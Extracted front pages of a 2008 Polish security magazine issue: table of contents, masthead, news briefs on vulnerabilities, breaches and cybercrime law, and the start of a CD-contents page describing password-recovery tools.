background image
background image
background image
background image

SPIS TREŚCI

4

 

HAKIN9 9/2008

SPIS TREŚCI

5

 

HAKIN9 

9/2008

5

 

HAKIN9  5

 

HAKIN9  5

 

HAKIN9 

NARZĘDZIA

12 

GDATA TotalCare

Recenzja najnowszego oprogramowania GDATA.

13 

e-Token – Pro

Recenzja karty kryptograficznej do przechowywania kluczy dostępowych 
do systemu operacyjnego, bankowości elektronicznej oraz ochrony 
elektronicznych aplikacji biznesowych.

14 

eScan

Program do ochrony komputera przed wirusami.

POCZĄTKI

16 

Łamanie WIFI

 

RAFAŁ LYSIK

Tutorialowy artykuł opisującu jak krok po kroku złamać WIFI. W 
dzisiejszym świecie ludzie używają różnorodnych mediów do 
porozumiewania się ze sobą. Media te mają różne właściwości, co 
wpływa na zastosowanie w określonym środowisku danego sposobu 
komunikacji. W XXI wieku najważniejsza jest informacja, a właściwie 
szybkość jej przepływu. Kto posiada aktualne informacje, ten może 
wpływać na otaczający Świat.

22  Administracja kontami w Linux

 

BARTOSZ KAMIŃSKI, SŁAWOMIR ORŁOWSKI

Często praca administratora systemu bywa żmudna i nieprzyjemna, 
dlaczego zatem sobie jej nie uprościć? Poniższy artykuł powinien 
nieco pomóc w tym zadaniu. Autorzy w swoim artykule pokazują jak 
wykorzystać język Perl w pracy administratora oraz jak rozwiązywać 
podstawowe problemy z zarządzaniem kontami użytkowników

ATAK

32  Atak na Smart Cards 

 

GRZEGORZ BŁOŃSKI

Codziennie używamy inteligentnych kart, myślimy że nasze pieniądze 
i dane zakodowane na kartach są bezpieczne, ale czy na pewno? 
Dowiedz się jakie zagrożenia na nas czekają i jak można zaatakować 
inteligentna kartę? Z artykułu dowiesz się co to jest karta inteligentna i 
jak jest atakowana

38  Błędy w jądrach systemów 

 

PRZEMYSŁAW SKOWRON

Błędy w programach to problem danej aplikacji. Uchybienia w 
kernelu mają zasięg globalny, ograniczony oczywiście możliwościami 
wykorzystania go. Jeżeli jądro naszego systemu zawiera błąd, 
możemy spodziewać się sporych problemów, a większość 
zabezpieczeń może okazać się bezużyteczna. Z artykułu dowiesz się 
jak działa exploit i jak skutecznie utrudnić lub uniemożliwić atak na 
kernel.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.

Dyrektor wydawniczy: Sylwia Małecka

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Kierownik produkcji: Marta Kurpiewska

marta.kurpiewska@software.com.pl

DTP: Grzegorz Laskowski 

Okładka: Agnieszka Marchocka, Łukasz Pabian

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska

pren@software.com.pl

Wyróżnieni betatesterzy:

Tomasz Przybylski, Tomasz Stanisławski

Opracowanie CD: Rafał Kwaśny

Druk: 101 Studio, Firma Tęgi 

Nakład wersji polskiej 6 000 egz.

Wydawca: 

Software–Wydawnictwo Sp. z o.o.

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Redakcja dokłada wszelkich starań, by publikowane w piśmie 

i na towarzyszących mu nośnikach informacje i programy 

były poprawne, jednakże nie bierze odpowiedzialności za 

efekty wykorzystania ich; nie gwarantuje także poprawnego 

działania programów shareware, freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością 

odpowiednich firm i zostały użyte wyłącznie w celach 

informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano 

programem AntiVirenKit firmy G DATA Software Sp. z o.o.

Redakcja używa systemu 

automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma 

w cenie innej niż wydrukowana na okładce – bez zgody 

wydawcy – jest działaniem na jego szkodę i skutkuje 

odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: 

Hiszpanii, Argentynie, Portugalii, Francji, Belgii, 

Luksemburgu, Kanadzie, Maroko, Niemczech, 

Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy również sprzedaż kioskową 

w innych krajach europejskich.

Magazyn hakin9 wydawany jest 

w 4 wersjach językowych: 

PL 

 EN 

 

FR 

 DE 

UWAGA!

Techniki prezentowane w artykułach mogą być 

używane jedynie we własnych sieciach lokalnych. 

Redakcja nie ponosi odpowiedzialności za 

niewłaściwe użycie prezentowanych technik 

ani spowodowaną tym utratę danych.

background image

SPIS TREŚCI

4

 

HAKIN9 9/2008

SPIS TREŚCI

5

 

HAKIN9 

9/2008

5

 

HAKIN9  5

 

HAKIN9  5

 

HAKIN9 

OBRONA

42  Ochrona kart inteligentnych 

 

PRZEMYSŁAW ŻARNECKI

Inteligentne karty nie są na tyle bezpieczne jak nam wszystkim się wydaje. 
Poznajmy ich budowę i sprawdźmy jakie rodzaje zabezpieczeń stosują ich 
producenci. Dowiedz się jak są łamane i zabezpieczane dane na smart cards.

52  Zarządzanie tożsamością 

 

ARTUR ŻARSKI

Zarządzanie tożsamością jest bardzo szerokim pojęciem, które posiada wiele 
definicji. Definicje te można sprowadzić do stwierdzenia, które mówi, że jest 
to zestaw technologii i procedur umożliwiający efektywne zarządzanie cyklem 
życia tożsamości użytkownika. 

56  Hashlimit 

 

JAROSŁAW RADZISZEWSKI

W zapomnienie już odeszły czasy, gdy zapora sieciowa była po prostu filtrem 
portów, obecnie już nie wystarcza, że administrator otwiera lub zamyka 
konkretny port. W dzisiejszych czasach ataki stały się tak wyspecjalizowane, 
iż należy brać pod uwagę szereg innych aspektów ruchu sieciowego. W tym 
artykule zajmiemy się kontrolą ilości przesyłanych pakietów.

60  Automatyczne generowanie exploitów 

 

CEZARY G. CEREKWICKI

Dowiedz się jakie są efekty uboczne poprawek krytycznego błędu 
bezpieczeństwa i uważaj bo atak na niezaktualizowaną instalację jest 
banalnie prosty!

BEZPIECZNA FIRMA

66  Śledztwo elektroniczne 

 

PIOTR FAJ

Liczba zagrożeń pochodzących z sieci Internet, które mogłyby wpłynąć 
negatywnie na wizerunek firmy, z roku na rok się powiększa. Warto również 
zauważyć, że ślady po takich zdarzeniach mają wspólną cechę – nie 
wiadomo, kto i jak to zrobił.

KLUB TECHNICZNY

72  Be Smart, Buy Smart

Przełączniki z serii ProSafe Smart stanowią alternatywę dla w pełni 
zarządzanych, klasycznych przełączników warstwy 2. Przełączniki te 
pozbawione zbytniej złożoności dostarczają Klientowi funkcje typowe, dla 
przełączników zarządzanych, a dzięki temu pozbawione są dodatkowego 
kosztu. Artykuł napisany przez pracownika firmy Netgear.

STAŁE 

RUBRYKI

6 W skrócie

Przedstawiamy garść najciekawszych 
wiadomości ze świata bezpieczeństwa 
systemów informatycznych i nie tylko.

10 Zawartość CD

Prezentujemy zawartość płyty hakin9

74 Księgozbiór

Recenzujemy książki Analiza ryzyka 
i Ochrona informacji systemów 
komputerowych
 oraz Biometria. 
Tajemnica – Atak – Obrona

76 Wywiad

Wywiad z Klausem von Kries.

78 Felieton

Ataki na serwisy społecznosciowe.
Patryk Krawaczyński
W poprzednim felietonie został 
poruszony temat ataków, które 
wynikają z użytkowania serwisów 
społecznościowych opartych na 
idei Web 2.0. Przedstawiony temat 
został omówiony ze strony serwisu 
jako nieświadomego agresora 
wykonującego za pomocą swoich 
użytkowników przeróżnego rodzaju 
ataki.

82 Zapowiedzi

Zapowiedzi artykułów, które znajdą się w 
następnym wydaniu magazynu hakin9

Sprostowanie

Redakcja hakin9 przeprasza za umieszczenie w numerze 6/2008 artykułu 
pod tytułem Techniki spamowania, zawierającego obszerne nieautoryzowane 
fragmenty tekstów autorstwa Tomasza Andrzeja Nideckiego i Michała Ławickiego.

background image

6

 

W SKRÓCIE

HAKIN9 9/2008

7

 

JAKUB BUCZYŃSKI

HAKIN9 

9/2008

KONIEC PROBLEMÓW Z IPHONEM

Początkowo iPhone był dostępny 
wyłącznie w Stanach Zjednoczonych 
i jedynie w sieci AT&T. Jednak po 
miesiącach prób hakerom udało się 
zdjąć blokadę z telefonu, dzięki czemu 
mogli z niego korzystać użytkownicy na 
całym świecie. 

iPhony szybko zostały rozprowadzone 

z USA na cały świat, a specjaliści obliczyli, 
że około 1/3 do połowy zakupionych 
urządzeń nigdy nie połączyło się z siecią 
AT&T. 

Nowy, ulepszony iPhone współpracuje z 

sieciami 3G. iPhone będzie teraz oferowany 
na nieco innych zasadach. Po pierwsze, 
urządzenie będzie oficjalnie dostępne 
w większej liczbie krajów – na początku, 
oprócz Stanów Zjednoczonych, telefon 
pojawi się w pięciu innych państwach. Pod 
koniec tego roku multimedialne urządzenie 
firmy Apple oferowane będzie już w 70 
krajach.

Producent postanowił także, iż telefon 

będzie można nabyć zarówno u operatora 
telekomunikacyjnego, jak i u samego 
źródła. Przykładowo 8-gigabajtowy model 
nowej wersji tego urządzenia kosztuje w 
USA 199 dolarów.

LUKA 
W OPROGRAMOWANIU SCADA

Specjaliści ds. bezpieczeństwa 
poinformowali o znalezieniu krytycznej 
luki w szeroko stosowanym w przemyśle 
oprogramowaniu CitectSCADA. 
Jak twierdzą sami specjaliści, 
błąd ten pozwala atakującemu na 
przejęcie kontroli nad systemem. 
Luka w CitectSCADA to typowy błąd 

przepełnienia bufora – poinformował Ivan 
Arce z Core Security Technologies, firmy, 
która odkryła lukę.

Ten typ oprogramowania staje się 

coraz bardziej otwarty i szerzej dostępny. 
Sieci kontrolne coraz częściej połączone 
są z sieciami korporacyjnymi, które z kolei 
komunikują się z Internetem
 – ostrzega 
Arce. W wypowiedzi Arce przypomina 
też, że oprogramowanie SCADA, które 
kontroluje procesy przemysłowe: pracę 
rurociągów, fabryk chemicznych, linii 
montażowych oraz sieci wysokiego 
napięcia, może być celem ataków 
cyberprzestępców.

ZŁODZIEJ ZDRADZONY 
PRZEZ KARTĘ PAMIĘCI

Dzięki sieci bezprzewodowej i karcie 
pamięci policja ujęła dwóch złodziei, 
którzy kradli aparaty fotograficzne. 
Pewna właścicielka cyfrówki z włożoną 
kartą Eye-Fi SD pozostawiła ją 
przypadkowo w restauracji. Dwóch 
pracowników lokalu postanowiło ją sobie 
zawłaszczyć.

Nieostrożni rabusie postanowili 

zrobić sobie zdjęcia. Karta Eye-Fi 
bezprzewodowo transmituje zdjęcia do 
komputera, a niektóre modele potrafią 
do tego wykorzystać Internet. Kiedy nowi 
posiadacze sprzętu przechodzili koło 
jednego z hot-spotów, karta wysłała 
zdjęcia złodziei do komputera właścicielki. 
Ta rozpoznała barmanów z restauracji i 
powiadomiła kierownictwo lokalu. Dzięki 
sprytnej karcie odzyskała aparat, a 
barmani stracili pracę.

ATAK NA USŁUGODAWCĘ INTERNETU

Belgacom – największy belgijski 
dostarczyciel usług internetowych 
– przyznał, że na początku tego 
roku doszło do włamania i kradzieży 
danych osobowych ok. dwóch tysięcy 
osób, klientów usługi ADSL. Jak się 

okazało, była to... zemsta klientów 
usługi. Firma odkryła na jednej ze 
stron internetowych opublikowane 
dane osobowe swoich subskrybentów, 
a autorami tego wyczynu okazali się 
hakerzy, niezadowoleni z ustalonych 
limitów szerokopasmowego dostępu do 
Sieci. W Belgii ok. 90% stacjonarnych 
użytkowników Internetu korzysta z niego 
bądź poprzez Belgacom, bądź Telnet. 
Mimo, że połączenia są szybkie, to 
obaj operatorzy nałożyli miesięczny 
limit pobierania danych na poziomie 
12 GB. Po przekroczeniu tej wielkości 
transfer spada do 3 KB/s. Belgacom nie 
informował o przełamaniu zabezpieczeń, 
aby uniknąć paniki
 – tłumaczy rzecznik 
firmy, Jan Margot. Po zauważeniu 
włamania natychmiast wyłączyliśmy 
naszą stronę
 – wyjaśnia dalej. 
Wysyłaliśmy do zainteresowanych listy z 
prośbą o zmianę haseł. 

Mamy milion użytkowników ADSL, 

więc włamanie nie stanowiło wielkiego 
zagrożenia
 – dodaje.

PROBLEMY AMAZON.COM

W piątek, 6 czerwca miłośnicy 
internetowych zakupów mieli kłopoty 
z odwiedzeniem witryny Amazon.com 
– problemy powtórzyły się w poniedziałek. 
Jak podała firma Keynote Systems, w 
godzinach pomiędzy 19:03 a 19:23 
naszego czasu jedynie około 30 procent 
odwiedzających serwis miało do niego 
dostęp. Po okresie pewnej stabilizacji 
w godzinach 19:56 – 20:09 doszło do 
ponownego kryzysu
 – informuje Shaw 
White z Keynote.

Szczęściarze, którym udało się wejść 

na stronę, mówią o bardzo powolnym 
ładowaniu jej zawartości, trwającym 
nawet do 15 sekund. Serwis opublikował 

background image

6

 

W SKRÓCIE

HAKIN9 9/2008

7

 

JAKUB BUCZYŃSKI

HAKIN9 

9/2008

oficjalny komunikat w tej sprawie: Grupa 
klientów zgłosiła w poniedziałek okresowe 
problemy związane ze stronami Amazon. 
Pracujemy obecnie nad ich rozwiązaniem, 
zapewniamy także, iż usługi sieciowe 
Amazona nie doznały uszczerbku
. Po 
trzygodzinnym okresie piątkowej awarii 
oraz poniedziałkowych problemach 
większość osób nie mogła odczytać 
zawartości strony, otrzymując komunikat 
Http/1.1 Service Unavailable

Jak podejrzewa White, problem leży 

w złej konfiguracji któregoś z elementów 
skomplikowanego systemu e-commerce 
Amazona.

EUROPA W NIEBEZPIECZEŃSTWIE 

Jak wynika z badań firmy Ipsos, 
realizowanych dla AVG Technologies, 
jeden na pięć europejskich komputerów 
padł ofiarą cyberprzestępców. Wyniki 
raportu stwierdzają, że zaatakowanych 
zostało ok. 22 procent z siedmiu tysięcy 
analizowanych komputerów. Najbardziej 
zagrożeni byli mieszkańcy Włoch (32 
procent), na drugim miejscu uplasowali 
się Brytyjczycy (31 procent). Z badań 
wynika także, że Europejczycy woleliby 
paść ofiarą cyberprzestępców (34 procent) 
niż włamania (22 procent), napaści (19 
procent) i napadu rabunkowego (25 
procent).

W przeciągu kilku lat natura zagrożeń 

zmieniła się ze sportowej do w pełni 
profesjonalnej aktywności przestępców
 
– uważa J. R. Smith, prezes AVG 
Technologies. Brak granic w świecie 
wirtualnym sprawia, iż naszym najwyższym 
priorytetem jest stworzenie rozwiązań 
zapewniających bezpieczne dokonywanie 
transakcji online
 – dodaje.

KASPERSKY PROSI O POMOC

Naukowcy z firmy Kaspersky proszą 
specjalistów zajmujących się problemami 
bezpieczeństwa o pomoc w złamaniu 
skomplikowanego klucza, wymaganego 
do odszyfrowania zablokowanych przez 
robaka danych.

Prośba o pomoc pojawiła się w 

Sieci dwa dni po odkryciu szyfratora 
plików zwanego Gpcode. Malware 
potrafi szyfrować różnego rodzaju pliki, 
fotografie czy zbiory wykorzystywane 

przez takie aplikacje, jak: MS Word, Excel 
bądź Adobe Reader. Chcąc odzyskać 
zaszyfrowane dane, musimy zapłacić 
cyberprzestępcom okup. Kiedy dwa lata 
temu Gpcode pojawił się po raz pierwszy, 
firma Kaspersky poradziła sobie z 
robakiem. Wtedy podczas tworzenia 660-
bitowego klucza RSA przestępcy popełnili 
kilka pomyłek, co ułatwiło rozszyfrowanie 
algorytmu. Tym razem jednak 
kryptologowie nie będą mieli tak łatwego 
zadania – nowa wersja wykorzystuje 
1024-bitowy klucz. Zatem próby złamania 
go metodą brute force będą wymagać 
udziału około 15 milionów nowoczesnych 
komputerów.

Nie potrzebujemy oczywiście takiej 

mocy komputerowej – informuje Kaspersky 
w swoim apelu. W tej sprawie musimy 
współpracować i wspólnie wykorzystać 
naszą wiedzę i zasoby w rozwiązaniu 
problemu
 – dodaje firma. 

SPOSÓB NA ROBAKI

Naukowcy opracowali nową metodę 
zwalczania robaków skanujących sieć w 
poszukiwaniu komputerów podatnych na 
atak – jedne z najpopularniejszych to Code 
Red i SQL Slammer.

Ness Shroff oraz jego koledzy ze 

Stanowego Uniwersytetu Ohio uważają, 
iż opracowali sposób na blokowanie 
rozprzestrzeniania się robaków. Jednym 
z głównych tego typu zagrożeń był Code 
Red. W 2001 roku, blokując ruch w Sieci, 
spowodował szkody w wysokości 2,6 
miliarda dolarów. Metoda przedstawiona 
przez Amerykanów polega na stworzeniu 
oprogramowania, które monitoruje 
liczbę operacji skanowania Sieci 
przeprowadzonych przez komputer. Gdy 
maszyna zacznie zbyt aktywnie skanować 
Sieć, jest to znak, iż prawdopodobnie 

doszło do zakażenia robakiem. Trudność 
sprawiało nam określenie, jaką liczbę 
operacji skanowania można uznać za 
podejrzaną. Należy dobrać ją w taki 
sposób, aby w najgorszym przypadku 
doszło do jak najmniejszej liczby infekcji. 
Jeśli liczbę tę jeszcze zmniejszymy, 
możemy zakłócić standardowy ruch
 
– wyjaśnia Shroff.

Naukowcy stworzyli w tym celu 

matematyczny model wczesnego 
stadium rozwoju sieci robaka, który 
umożliwił obliczenie prawdopodobieństwa 
pojawienia się mechanizmu jego 
rozprzestrzeniania. 

ŁATANIE VMWARE 

Firma VMware opublikowała 
aktualizacje swojego oprogramowania 
wirtualizacyjnego z poprawkami 
bezpieczeństwa. Występujące 
luki pozwalały atakującemu na 
uruchomienie złośliwego kodu na 
zainfekowanej maszynie z systemem 
Windows. Jeden z błędów dotyczy 
funkcji VMCI, która jest odpowiedzialna 
za komunikację pomiędzy maszyną 
wirtualną a systemem operacyjnym. 
Wyżej wymieniony błąd można 
wykorzystać uruchamiając złośliwy 
kod z uprawnieniami systemu. VMware 
zaznacza, że luka tyczy się wyłącznie 
systemu Windows.

Luka dotyczy oprogramowania VMware 

Workstation w wersji od 6.0.4 build 93057, 
VMware Player do wersji 2.0.4 build 93057 
oraz VMware ACE do wersji 2.0.2 build 
93057. 

SERWERY W PŁOMIENIACH

Do zdarzenia doszło w sobotę, 14 
czerwca, w centrum danych H1 
należącym do firmy The Planet w 
Houston. 

Pożar spowodował wstrzymanie 

pracy tysięcy stron internetowych – podał 
magazyn The Register. Na forum firmy 
hostingowej można przeczytać, że 
winnym pożaru był wadliwie pracujący 
transformator. Na szczęście nie doszło 
do spalenia serwerów oraz sprzętu 
sieciowego. Firma została jednak 
zmuszona do wyłączenia wszystkich 
generatorów zasilających komputery, 

background image

8

 

W SKRÓCIE

HAKIN9 9/2008

9

 

JAKUB BUCZYŃSKI

HAKIN9 

9/2008

co spowodowało czasową przerwę w 
działaniu usług hostingowych.

Na szczęście w poniedziałek The Planet 

przywróciło do pracy 6000 serwerów.

WSPÓŁPRACA EUROPY

Komisja Europejska przyjęła projekt, dzięki 
któremu policja będzie miała wgląd do 
akt osobowych przestępców w różnych 
krajach Europy.

System o nazwie European Criminal 

Records Information ma zawierać 
specyfikację techniczną, dzięki której policja 
będzie w stanie w prosty sposób uzyskać 
dane od podobnych sił prowadzących 
działalność w innych krajach. 

Dane o przestępcach 

przechowywane będą wyłącznie w 
narodowych systemach bazodanowych, 
a nie w swego rodzaju europejskiej 
wielkiej bazie danych. Tworzenie 
oprogramowania do tego celu 
rozpocznie się na początku przyszłego 
roku. Opisywany system ten ułatwi 
sprawdzenie przeszłości osób, które 
podejrzewa się o dokonanie na terenie 
Europy przestępstw. 

Pozwoli również na sprawniejszą 

walkę ze zorganizowanymi grupami 
przestępczymi, które coraz częściej 
prowadzą swoje interesy nie tylko w 
obrębie jednego kraju.

CHIŃCZYCY 
ATAKOWALI ELEKTROWNIE?

O ataki, które doprowadziły do awarii sieci 
elektrycznych w Stanach Zjednoczonych 
w ciągu kilku ostatnich lat, obwinia się 
chińskich hakerów. Dwie awarie (na 
Florydzie oraz na północnym wschodzie 
kraju) to po części sprawka chińskich 
specjalistów – uważają eksperci ds. 
bezpieczeństwa. 

Informacje te pochodzą z magazynu 

National Journal Magazine, który cytuje 
wypowiedź Tima Bennetta, byłego 
dyrektora Cyber Security Industry Alliance. 

Już w 2003 roku otrzymał on od 

amerykańskiego wywiadu informacje 
o planach chińskiej armii, która 
przygotowywała atak na systemy 
kontrolujące amerykańskie elektrownie 
nuklearne. 

Joel Brenner z kontrwywiadu przyznaje 

z kolei, że opisany w National Journal 
Magazine scenariusz jest możliwy, choć 
mało prawdopodobny. 

SKŁAD REPREZENTACJI 
POLSKI NA IMAGINE CUP 2008

Microsoft ogłosił oficjalną listę 
drużyn i uczestników, którzy w lipcu 
br. będą reprezentować Polskę w 
międzynarodowych finałach konkursu 
technologicznego dla studentów – Imagine 
Cup 2008. 

W tegorocznej edycji Polacy 

zakwalifikowali się do rozgrywki finałowej w 
czterech kategoriach:

•   w kategorii Projektowanie Systemów 

Wbudowanych Polskę reprezentować 
będzie drużyna Aero@PUT z 
Politechniki Poznańskiej,

•   w kategorii Algorytm z przeciwnikami 

zmierzy się Radosław Czyż z 
Politechniki Krakowskiej,

•   w specjalnej podkategorii 

Projektowanie Oprogramowania 
– Nagroda za Interoperacyjność
 nasz 
kraj będzie reprezentować zespół 
Together z Politechniki Poznańskiej,

•   w kategorii Projektowanie 

Oprogramowania do rozgrywki 
stanie zespół Demoscene Spirit z 
Uniwersytetu Adama Mickiewicza 
w Poznaniu, wyłoniony podczas 
krajowego finału, zorganizowanego 
przez Microsoft Polska wspólnie 
z Instytutem Wzornictwa 
Przemysłowego.

Drużyna Demoscene Spirit, w składzie: 
Agata Czapracka, Szymon Majewski, 
Łukasz Michniewicz i Wiktoria Szydło 
z Uniwersytetu Adama Mickiewicza 
w Poznaniu oraz Agata Majewska z 
Akademii Sztuk Pięknych w Poznaniu, 
zaprezentowała aplikację o nazwie 
LifeTracker, która umożliwia śledzenie w 
czasie rzeczywistym zwierząt należących 

do gatunków zagrożonych wyginięciem. 
Praca powstawała pod kierunkiem 
mgr Tomasza Gdali. Było to najlepsze 
rozwiązanie w kategorii Projektowanie 
Oprogramowania

W kategorii Projektowanie 

Systemów Wbudowanych Polskę będzie 
reprezentować w Paryżu drużyna 
Aero@PUT z Politechniki Poznańskiej 
w składzie: Piotr Kryger, Mikołaj 
Małaczyński, Piotr Ślęzak oraz Jakub 
Pawłowski. 

Kierownikiem grupy jest mgr Wojciech 

Świtała. Together, w składzie: Dariusz 
Walczak, Marcin Wrzos, Piotr Sikora 
oraz Tomasz Nowak, to zespół, który 
zaprezentował najlepsze rozwiązanie w 
specjalnej podkategorii Projektowanie 
Oprogramowania – Nagroda za 
Interoperacyjność

Grupa z Politechniki Poznańskiej 

pracowała pod kierunkiem dr inż. Jacka 
Jelonka. W czwartej kategorii, Algorytm
nasz kraj będzie reprezentować 
Radosław Czyż z Politechniki 
Krakowskiej. 

Konkurs Imagine Cup jest 

największym międzynarodowym 
konkursem technologicznym dla 
studentów. 

W tym roku jest organizowany po raz 

szósty. Uczestnicy rywalizują ze sobą w 9 
kategoriach: 

•   projektowanie oprogramowania, 
•   projektowanie systemów wbudowanych, 
•   projektowanie gier, 
•   projekt Hoshimi – bitwa 

programistyczna, 

•   technologie informatyczne, 
•   algorytmy, 
•   fotografia, 
•   film krótkometrażowy 
•   oraz Projekt interfejsu.

background image

8

 

W SKRÓCIE

HAKIN9 9/2008

9

 

JAKUB BUCZYŃSKI

HAKIN9 

9/2008

NIE KORZYSTAJCIE Z SAFARI!

Z takim apelem do użytkowników systemu 
Windows zwrócił się Microsoft. Firma 
wzywa do deinstalacji przeglądarki 
internetowej Safari aż do momentu 
pojawienia się poprawki łatającej luki. 
Microsoft Security Response Center 
(MSRC) opublikowało komunikat 
bezpieczeństwa, ostrzegający przed 
kombinacją błędów, jakie pojawiły się w 
przeglądarce Safari oraz mechanizmie 
obsługi plików wykonywalnych 
znajdujących się na pulpicie systemu 
Windows XP lub Vista. 

Microsoft bada zgłoszenia dotyczące 

wieloskładnikowego zagrożenia 
pozwalającego na zdalne wykonanie 
kodu w systemach operacyjnych Windows 
XP i Windows Vista z zainstalowaną 
przeglądarką internetową Apple Safari
 
– można przeczytać w komunikacie. 

HACK COMCAST 

Cyberprzestępcy włamali się na 
stronę internetową amerykańskiej 
firmy telekomunikacyjnej Comcast, 
pozostawiając na niej własne informacje 
oraz uniemożliwili niektórym klientom 
uzyskanie dostępu do swoich kont 
pocztowych oraz oficjalnych forów.

Z informacji, które hakerzy umieścili 

na stronie, można wywnioskować, że 
włamania dokonały trzy grupy: Kryogenics, 
Defiant oraz EBK. Grupy te przejęły 
kontrolę nad domeną Comcast.net 
poprzez zarządzającą serwerami DNS 
firmę Network Solutions, przekierowując 
ruch internetowy na kontrolowane 
przez nich maszyny. Były to komputery 
znajdujące się m.in. w Niemczech. 

Właściwy serwis został odcięty od 

świata na kilka godzin – teraz pracuje już 
normalnie, choć niektórzy użytkownicy 
w dalszym ciągu zgłaszali problemy z 
pocztą (nie doszło jeszcze do pełnej 
propagacji adresu).

Rzecznik firmy Comcast ujawnił, 

że firma współpracuje w tej sprawie z 
przedstawicielami prawa.

5 LAT ZA NIELEGALNY SYSTEM?

Do tej pory Policja, zajmując 
się zwalczaniem pirackiego 

oprogramowania komputerowego, 
skupiała się głównie na producentach i 
handlarzach. 

Zwykli użytkownicy mogli czuć się 

bezpiecznie – do czasu, kiedy policja w 
Braniewie złożyła wizytę w mieszkaniu 
siedemnastolatka – Patryka L.

Według policjantów od pewnego 

już czasu używał on nielegalnego 
oprogramowania komputerowego. 
Policjanci zabezpieczyli komputer oraz 
płytę z nielegalnym Windowsem i jego 
najnowszą wersją – Windows Vista. 
Patrykowi L. grozi kara do 5 lat pozbawienia 
wolności. 

DZIURY W QUICKTIME

Ostatnimi czasy można było przeczytać o 
kilku błędach związanych z odtwarzaczem 
QuickTime. Niestety, w produkcie 
Apple po raz kolejny wykryto szereg 
nieprawidłowości, które pozwalają na 
przejęcie kontroli nad zaatakowanym 
komputerem.

Problemy te występują podczas 

przetwarzania odpowiednio 
spreparowanych plików z rozszerzeniem 
.aac oraz .pict. Kolejny błąd jest związany 
z plikami kodowanymi za pomocą kodeka 
Indeo. 

Wykorzystując lukę można doprowadzić 

do błędu przepełnienia bufora i w 
konsekwencji na wykonanie szkodliwego 
kodu.

Wszystkie błędy uważane są za 

krytyczne, należy zatem jak najszybciej 
dokonać aktualizacji.

LUKA W SYSTEMIE SYMBIAN S60

Haker z Hiszpanii znalazł lukę w 
systemie operacyjnym Symbian (w wersji 
S60). Błąd znaleziony przez Hiszpana 

pozwala na uzyskanie dostępu do 
wszystkich plików znajdujących się w 
telefonie. 
Aby mieć dostęp do plików 
przechowywanych w telefonie, wystarczy 
zainstalować odpowiednią aplikację 
w formacie SISX. Narzędzie zmienia 
uprawnienia wszystkich aplikacji.

ROZSZERZENIE KAR ZA 
PRZESTĘPSTWA KOMPUTEROWE

W Sejmie odbyło się pierwsze czytanie 
projektu nowelizacji Kodeksu Karnego, 
który implementuje w polskim systemie 
prawnym unijne regulacje m.in. w 
zakresie przestępczości komputerowej 
i korupcji.

W projekcie nowelizacji Kodeksu 

Karnego uwzględniono kary 
m.in. za włamania także do sieci 
bezprzewodowych. Zmiana ta związana 
jest z rozwojem sieci informatycznych. 

Sankcjom będą podlegać nie 

tylko ci, którzy złamią zabezpieczenia 
informatyczne, ale także ci, którzy jedynie 
omijają różnego rodzaju zabezpieczenia. 
Uznano bowiem, że dostęp do systemów 
informatycznych można uzyskać nie 
tylko łamiąc np. hasła, ale wykorzystując 
luki w systemie operacyjnym, 
które pozwalają obejść techniczne 
zabezpieczenia. 

Zmiana przepisów oznacza, że 

karze będą podlegały osoby, które np. 
posługują się tzw. końmi trojańskimi. 
Nowelizacja przewiduje kary także 
za jakiekolwiek nieuprawnione 
uzyskanie dostępu do czyjegoś sytemu 
informatycznego.

Skuteczność ścigania przestępstw 

komputerowych jest bardzo istotna. 
Jednak zastanawiam się, czy 
doprecyzowanie przepisów w taki 
kazuistyczny sposób jest zasadne. 
Przede wszystkim poszkodowany może 
nawet nie wiedzieć, że ktoś ominął jego 
zabezpieczenia i ma dostęp do informacji 
w jego komputerze. Natomiast ściganie 
takich przestępstw ma odbywać się 
właśnie na wniosek pokrzywdzonego
 – 
mówi dr Monika Zbrojewska, specjalista z 
zakresu prawa karnego na Uniwersytecie 
Łódzkim.

background image

10

 

NA CD

HAKIN9 9/2008

11

 

HAKIN9 

9/2008

Na dołączonej do pisma płycie znajdują się programy przydatne dla każdego 

użytkownika komputera – 3 pełne wersje bez ograniczeń czasowych, 1 trial i ponad 

godzina filmów instruktażowych.

ZAWARTOŚĆ CD

PROGRAMY

•   Advanced Instant Messengers 

Password Recovery,

•   Advanced Mailbox Password Recovery,
•   Advanced ACT Password Recovery,
•   eScan Antivirus.

FILMY INSTRUKTAŻOWE

•   Ponad 60 minut filmów instruktażowych, 

10 odcinków, które przedstawiają 
najpopularniejsze ataki na strony www.

ADVANCED INSTANT MESSENGERS 

PASSWORD RECOVERY

Odzyskiwanie haseł 
w znanych komunikatorach

Advanced Instant Messengers Password 
Recovery natychmiastowo odzyskuje 
informacje dotyczące loginu i hasła, 
chroniących konta użytkowników w 
różnych komunikatorach. Obecnie 
program obsługuje ponad 70 różnych 
komunikatorów. Advanced Instant 
Messengers Password Recovery jest 
niewątpliwie najbardziej uniwersalnym 

produktem w swojej klasie. Jeżeli system 
posiada jedno lub więcej kont, Advanced 
Instant Messengers Password Recovery 
odzyskuje wszystkie hasła.

Natychmiastowy transfer kont IM

Niektóre z współczesnych komunikatorów, 
jak na przykład ICQ w wersji 6 i kolejnych, 
Yahoo! 
IM od wersji 7.5 oraz wszystkie 
wersje Skype’a, nie przechowują 
nigdzie informacji dotyczących hasła. 
Wykonują natomiast jednokierunkowe 
szyfrowanie hasła, tworząc kod hash, 
który jest wykorzystywany do autoryzacji 
użytkowników na serwerach IM.

Zamiast długich ataków na hasła, 

Advanced Instant Messengers Password 
Recovery daje możliwość ich zapisania 
i odzyskania, pozwalając skutecznie 
przenosić konta IM i ustawienia z jednego 
komputera na drugi bez znajomości 
oryginalnego hasła.

ADVANCED MAILBOX PASSWORD 

RECOVERY

